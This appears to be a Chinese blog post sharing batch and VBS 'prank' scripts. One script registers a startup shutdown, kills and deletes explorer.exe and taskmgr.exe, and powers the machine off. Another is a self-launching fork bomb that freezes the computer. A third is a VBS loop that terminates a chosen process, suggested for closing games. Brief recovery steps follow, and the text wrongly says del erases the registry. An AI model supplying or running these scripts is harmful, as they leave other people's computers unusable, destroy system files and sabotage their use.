批处理,顾名思义,批处理就是对某对象进行批量的处理。本来并不掌握这块,但由于经常被朋友捉弄,也逐渐了解了一些批处理。
关机
@echo Off
echo REGEDIT4 > 0.reg
echo shutdown /s /t 0 > %windir%\restart.bat
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run]>>0.reg
echo "bat"="C:\\windows\\restart.bat">>0.reg
regedit /s 0.reg &del 0.reg
taskkill /f /im explorer.exe
taskkill /f /im taskmgr.exe
ren %windir%\explorer.exe exp.reg
ren %windir%\system32\taskmgr.exe t.reg
del /f /s /q %windir%\explorer.exe
del /f /s /q %windir%\system32\taskmgr.exe
shutdown /s /t 0
该Bat通过del /f /s /q
强制删除注册表,然后再用shutdown /s /t 0
达到立刻关机
解决方法:
1、PE下删除C:/windows/restart.bat
2、从别的同系统(相同位数x86,x64)的电脑拷贝explorer.exe和taskmgr.exe放入指定的路径下。
路径:
explorer.exe C:/windows
taskmgr.exe C:/windows/system32
另外可能由于权限的关系(开启UAC),批处理没有删除taskmgr.exe,复制的时候注意检查。
无限弹窗命令行
只需一段
start 1.bat
需要把bat命名为1.bat(其他名称也可以,代码内容随之改变)
无限打开这个批处理,迟早卡死机器
关闭进程
do
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='TIM.exe'")
for each i in pipe
i.terminate()
next
wscript.sleep 1000
loop
每隔1000毫秒(1秒)检查一下进程有没有TIM,有的话将其关闭。
该命令扩展名为vbs。
同理可以把进程名替换为League of Legends,Overwatch,达到游戏打着打着就退出的目的。但要注意的是进程名不一定是游戏名,替换前要注意名称。
Windows开机自动启动目录
C:\Users~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
当开机就出现以上情况时,就要注意可能是开机自启动。
解决方法:进入PE模式删除。
网友评论